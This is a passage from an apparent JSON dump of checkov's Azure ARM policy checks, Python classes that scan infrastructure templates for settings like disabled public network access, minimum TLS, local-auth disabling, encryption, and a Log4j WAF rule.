    "content": "from typing import Dict, List, Any, Union\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass AzureServiceFabricClusterProtectionLevel(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensures that Service Fabric use three levels of protection available\"\n        id = \"CKV_AZURE_125\"\n        supported_resources = ('Microsoft.ServiceFabric/clusters',)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        properties: Union[List[Any], Dict[str, Any]] = conf.get('properties', {})\n        if not isinstance(properties, dict):\n            self.evaluated_keys = ['properties']\n            return CheckResult.FAILED\n\n        settings_conf = force_list(properties.get('fabricSettings', []))\n        if not isinstance(settings_conf, list):\n            self.evaluated_keys = ['properties/fabricSettings']\n            return CheckResult.FAILED\n\n        for setting in settings_conf:\n            if setting and isinstance(setting, dict) and setting.get('name') == 'Security':\n                params = setting.get('parameters', [{}])\n                if isinstance(params, list) and len(params) > 0 and isinstance(params[0], dict):\n                    param = params[0]\n                    if param.get('name') == 'ClusterProtectionLevel' and param.get('value') == 'EncryptAndSign':\n                        index = settings_conf.index(setting)\n                        self.evaluated_keys = [f'fabricSettings/{index}/parameters/name',\n                                               f'fabricSettings/{index}/parameters/value']\n                        return CheckResult.PASSED\n                else:\n                    self.evaluated_keys = [f'fabricSettings/{settings_conf.index(setting)}/parameters']\n                    return CheckResult.FAILED\n\n        self.evaluated_keys = ['fabricSettings']\n        return CheckResult.FAILED\n\n\ncheck = AzureServiceFabricClusterProtectionLevel()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureSparkPoolIsolatedComputeEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure isolated compute is enabled for Synapse Spark pools\"\n        id = \"CKV_AZURE_242\"\n        supported_resources = [\"Microsoft.Synapse/workspaces/bigDataPools\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/isComputeIsolationEnabled'\n\n\ncheck = AzureSparkPoolIsolatedComputeEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SynapseWorkspaceVAisEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Synapse Workspace vulnerability assessment is enabled\"\n        id = \"CKV2_AZURE_46\"\n        supported_resources = [\"Microsoft.Synapse/workspaces/vulnerabilityAssessments\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/recurringScans/isEnabled'\n\n\ncheck = SynapseWorkspaceVAisEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py",
    "content": "from typing import Dict, List, Any\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Synapse workspaces have no IP firewall rules attached\"\n        id = \"CKV2_AZURE_19\"\n        supported_resources = [\"Microsoft.Synapse/workspaces\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        depends_on = conf.get(\"dependsOn\")\n        if depends_on is None or not len(depends_on):\n            return CheckResult.PASSED\n        if any('Microsoft.Synapse/workspaces/firewallRules' in item for item in depends_on):\n            self.evaluated_keys = [\"dependsOn\"]\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py",
    "content": "from typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitiveServicesConfigureIdentity(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that all Azure Cognitive Services accounts are configured with a managed identity\"\n        id = \"CKV_AZURE_238\"\n        supported_resources = ('Microsoft.CognitiveServices/accounts',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = CognitiveServicesConfigureIdentity()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitiveServicesDisablesPublicNetwork(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Cognitive Services accounts disable public network access\"\n        id = \"CKV_AZURE_134\"\n        supported_resources = (\"Microsoft.CognitiveServices/accounts\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> Any:\n        return \"Disabled\"\n\n\ncheck = CognitiveServicesDisablesPublicNetwork()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitiveServicesEnableLocalAuth(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Cognitive Services accounts disable local authentication\"\n        id = \"CKV_AZURE_236\"\n        supported_resources = ('Microsoft.CognitiveServices/accounts', )\n        categories = (CheckCategories.NETWORKING, )\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return 'properties/disableLocalAuth'\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = CognitiveServicesEnableLocalAuth()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py",
    "content": "from typing import Dict, Any, Optional\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass CosmosDBAccountsRestrictedAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Cosmos DB accounts have restricted access\"\n        id = \"CKV_AZURE_99\"\n        supported_resources = ('Microsoft.DocumentDB/databaseAccounts',)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties: Optional[Dict[str, Any]] = conf.get('properties')\n        if properties is not None:\n            if 'enableMultipleWriteLocations' not in properties or properties['enableMultipleWriteLocations']:\n                self.evaluated_keys = ['enableMultipleWriteLocations']\n                if 'isVirtualNetworkFilterEnabled' in properties and properties['isVirtualNetworkFilterEnabled']:\n                    self.evaluated_keys.append('isVirtualNetworkFilterEnabled')\n                    if 'virtualNetworkRules' in properties and properties['virtualNetworkRules']:\n                        self.evaluated_keys.append('virtualNetworkRules')\n                        return CheckResult.PASSED\n                    if 'ipRules' in properties and properties['ipRules']:\n                        self.evaluated_keys.append('ipAddressOrRange')\n                        return CheckResult.PASSED\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CosmosDBAccountsRestrictedAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass CosmosDBDisableAccessKeyWrite(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure cosmosdb does not allow privileged escalation by restricting management plane changes\"\n        id = \"CKV_AZURE_132\"\n        supported_resources = ('Microsoft.DocumentDB/databaseAccounts',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if 'properties' in conf:\n            if \"disableKeyBasedMetadataWriteAccess\" in conf['properties'] and conf['properties']['disableKeyBasedMetadataWriteAccess']:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/disableKeyBasedMetadataWriteAccess\"]\n\n\ncheck = CosmosDBDisableAccessKeyWrite()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBDisablesPublicNetwork(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Cosmos DB disables public network access\"\n        id = \"CKV_AZURE_101\"\n        supported_resources = ['Microsoft.DocumentDB/databaseAccounts']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/publicNetworkAccess'\n\n    def get_expected_value(self) -> str:\n        return \"Disabled\"\n\n\ncheck = CosmosDBDisablesPublicNetwork()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CosmosDBHaveCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBHaveCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest\"\n        id = \"CKV_AZURE_100\"\n        supported_resources = (\"Microsoft.DocumentDb/databaseAccounts\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/keyVaultKeyUri\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = CosmosDBHaveCMK()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py",
    "content": "from __future__ import annotations\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CosmosDBLocalAuthDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        description = \"Ensure that Local Authentication is disabled on CosmosDB\"\n        id = \"CKV_AZURE_140\"\n        supported_resources = ('Microsoft.DocumentDB/databaseAccounts',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if conf.get(\"kind\") == \"GlobalDocumentDB\":\n            return super().scan_resource_conf(conf)\n        return CheckResult.UNKNOWN\n\n    def get_inspected_key(self) -> str:\n        return \"properties/disableLocalAuth\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = CosmosDBLocalAuthDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nimport re\n\nSUBSCRIPTION = re.compile(r\"\\/|\\/subscriptions\\/[\\w\\d-]+$|\\[subscription\\(\\).id\\]\")\n\n# https://docs.microsoft.com/en-us/azure/role-based-access-control/custom-roles-template\n# https://docs.microsoft.com/en-us/azure/role-based-access-control/role-definitions\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.authorization/2018-01-01-preview/roledefinitions\n\n\nclass CustomRoleDefinitionSubscriptionOwner(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that no custom subscription owner roles are created\"\n        id = \"CKV_AZURE_39\"\n        supported_resources = (\"Microsoft.Authorization/roleDefinitions\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"assignableScopes\" in conf[\"properties\"]:\n                if any(\n                    isinstance(scope, str) and re.match(SUBSCRIPTION, scope)\n                    for scope in conf[\"properties\"][\"assignableScopes\"]\n                ):\n                    if \"permissions\" in conf[\"properties\"]:\n                        if conf[\"properties\"][\"permissions\"]:\n                            for permission in conf[\"properties\"][\"permissions\"]:\n                                if \"actions\" in permission and \"*\" in permission[\"actions\"]:\n                                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties/assignableScopes\", \"properties/permissions/actions\"]\n\n\ncheck = CustomRoleDefinitionSubscriptionOwner()\n"
  },
  {
    "path": "checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DataExplorerUsesDiskEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Data Explorer (Kusto) uses disk encryption\"\n        id = \"CKV_AZURE_74\"\n        supported_resources = (\"Microsoft.Kusto/clusters\",)\n        categories = [CheckCategories.ENCRYPTION,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/enableDiskEncryption\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = DataExplorerUsesDiskEncryption()\n"
  },
  {
    "path": "checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DataFactoryNoPublicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Data factory public network access is disabled\"\n        id = \"CKV_AZURE_104\"\n        supported_resources = (\"Microsoft.DataFactory/factories\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> Any:\n        return \"Disabled\"\n\n\ncheck = DataFactoryNoPublicNetworkAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/DataFactoryUsesGitRepository.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass DataFactoryUsesGitRepository(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Data Factory uses Git repository for source control\"\n        id = \"CKV_AZURE_103\"\n        supported_resources = (\"Microsoft.DataFactory/factories\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if properties and isinstance(properties, dict):\n            self.evaluated_keys = [\"properties/repoConfiguration/type\"]\n            repo = properties.get(\"repoConfiguration\")\n            if not repo:\n                return CheckResult.FAILED\n            if repo and isinstance(repo, dict) and repo.get(\"type\") is not None:\n                return CheckResult.PASSED\n            return CheckResult.UNKNOWN\n        return CheckResult.FAILED\n\n\ncheck = DataFactoryUsesGitRepository()\n"
  },
  {
    "path": "checkov/arm/checks/resource/DataLakeStoreEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DataLakeStoreEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Data Lake Store accounts enables encryption\"\n        id = \"CKV_AZURE_105\"\n        supported_resources = ['Microsoft.DataLakeStore/accounts',]\n        categories = [CheckCategories.ENCRYPTION,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/encryptionState'\n\n    def get_expected_value(self) -> str:\n        return \"Enabled\"\n\n\ncheck = DataLakeStoreEncryption()\n"
  },
  {
    "path": "checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://learn.microsoft.com/en-us/azure/templates/microsoft.databricks/workspaces?pivots=deployment-language-arm-template#workspaceencryptionparameter-1\n        name = \"Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption\"\n        id = \"CKV2_AZURE_48\"\n        supported_resources = (\"Microsoft.Databricks/workspaces\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        parameters = conf.get(\"properties\", {}).get(\"parameters\")\n        prepare_encryption = find_in_dict(input_dict=parameters, key_path=\"prepareEncryption/value\")\n        if not prepare_encryption or str(prepare_encryption).lower() != \"true\":\n            return CheckResult.FAILED\n\n        encryption_settings = find_in_dict(input_dict=parameters, key_path=\"encryption/value\")\n        if not encryption_settings:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties/parameters\"]\n\n\ncheck = DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey()\n"
  },
  {
    "path": "checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass DatabricksWorkspaceIsNotPublic(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://learn.microsoft.com/en-us/azure/templates/microsoft.databricks/workspaces?pivots=deployment-language-arm-template\n        name = \"Ensure Databricks Workspace data plane to control plane communication happens over private link\"\n        id = \"CKV_AZURE_158\"\n        supported_resources = (\"Microsoft.Databricks/workspaces\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        public_network_access = find_in_dict(input_dict=conf, key_path=\"properties/publicNetworkAccess\")\n        if not public_network_access or public_network_access == \"Enabled\":\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/publicNetworkAccess\"]\n\n\ncheck = DatabricksWorkspaceIsNotPublic()\n"
  },
  {
    "path": "checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EventHubNamespaceMinTLS12(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Event Hub Namespace uses at least TLS 1.2\"\n        id = \"CKV_AZURE_223\"\n        supported_resources = [\"Microsoft.EventHub/namespaces\", ]\n        categories = [CheckCategories.ENCRYPTION, ]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/minimumTlsVersion\"\n\n    def get_expected_value(self) -> Any:\n        return \"1.2\"\n\n\ncheck = EventHubNamespaceMinTLS12()\n"
  },
  {
    "path": "checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EventgridTopicIdentityProviderEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Managed identity provider is enabled for Azure Event Grid Topic\"\n        id = \"CKV_AZURE_191\"\n        supported_resources = (\"Microsoft.EventGrid/topics\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = EventgridTopicIdentityProviderEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EventgridTopicLocalAuthentication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Event Grid Topic local Authentication is disabled\"\n        id = \"CKV_AZURE_192\"\n        supported_resources = (\"Microsoft.EventGrid/topics\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/disableLocalAuth\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = EventgridTopicLocalAuthentication()\n"
  },
  {
    "path": "checkov/arm/checks/resource/EventgridTopicNetworkAccess.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EventgridTopicNetworkAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure public network access is disabled for Azure Event Grid Topic\"\n        id = \"CKV_AZURE_193\"\n        supported_resources = (\"Microsoft.EventGrid/topics\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> str:\n        return \"Disabled\"\n\n\ncheck = EventgridTopicNetworkAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass FrontDoorWAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_AZURE_133\"\n        supported_resources = [\"Microsoft.Network/frontdoorWebApplicationFirewallPolicies\"]\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[Any, Any]) -> CheckResult:\n        self.evaluatedKeys = [\"managedRules\"]\n        properties = conf.get(\"properties\")\n        if properties is None or \"managedRules\" not in properties:\n            return CheckResult.FAILED\n\n        managedRules = properties.get(\"managedRules\")\n        if not managedRules:\n            return CheckResult.FAILED\n\n        for idx_managed_rule, managed_rule in enumerate(force_list(managedRules.get(\"managedRuleSets\", []))):\n            self.evaluated_keys = [f\"managedRules/[{idx_managed_rule}]/type\"]\n            if managed_rule and managed_rule.get(\"ruleSetType\") in [\"DefaultRuleSet\", \"Microsoft_DefaultRuleSet\"]:\n                ruleOverrides = managed_rule.get(\"ruleGroupOverrides\", [])\n                if ruleOverrides == []:\n                    return CheckResult.PASSED\n                for idx_override, rule_override in enumerate(force_list(ruleOverrides)):\n                    self.evaluated_keys.append(\n                        f\"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/ruleGroupName\"\n                    )\n                    if rule_override.get(\"ruleGroupName\") == \"JAVA\":\n                        rules = rule_override.get(\"rules\", [])\n                        for idx_rule, rule in enumerate(force_list(rules)):\n                            self.evaluated_keys.extend([\n                                f\"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule}]/ruleId\",\n                                f\"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule}]/enabledState\",\n                                f\"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule}]/action\",\n                            ])\n                            if rule.get(\"ruleId\") == \"944240\":\n                                enabledState = rule.get(\"enabledState\")\n                                if not enabledState:\n                                    return CheckResult.FAILED\n                                if rule.get(\"action\") in [\"Block\", \"Redirect\"]:\n                                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = FrontDoorWAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FrontdoorUseWAFMode.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass FrontdoorUseWAFMode(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Front Door uses WAF in \\\"Detection\\\" or \\\"Prevention\\\" modes\"\n        id = \"CKV_AZURE_123\"\n        supported_resources = ('Microsoft.Network/FrontDoorWebApplicationFirewallPolicies',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get('properties')\n        if properties and isinstance(properties, dict):\n            policy_settings = properties.get('policySettings')\n            if policy_settings and isinstance(policy_settings, dict):\n                if policy_settings.get('enabledState') == \"Enabled\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policySettings/[0]/enabledState\"]\n\n\ncheck = FrontdoorUseWAFMode()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FunctionAppDisallowCORS.py",
    "content": "from typing import List, Any\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass FunctionAppDisallowCORS(BaseResourceNegativeValueCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure function apps are not accessible from all regions\"\n        id = \"CKV_AZURE_62\"\n        supported_resources = (\"Microsoft.Web/sites\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories,\n                         supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/cors/allowedOrigins\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"*\"]\n\n\ncheck = FunctionAppDisallowCORS()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass FunctionAppHttpVersionLatest(BaseResourceValueCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure that 'HTTP Version' is the latest, if used to run the Function app\"\n        id = \"CKV_AZURE_67\"\n        supported_resources = (\"Microsoft.Web/sites/slots\", \"Microsoft.Web/sites\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/http20Enabled\"\n\n\ncheck = FunctionAppHttpVersionLatest()\n"
  },
  {
    "path": "checkov/arm/checks/resource/FunctionAppMinTLSVersion.py",
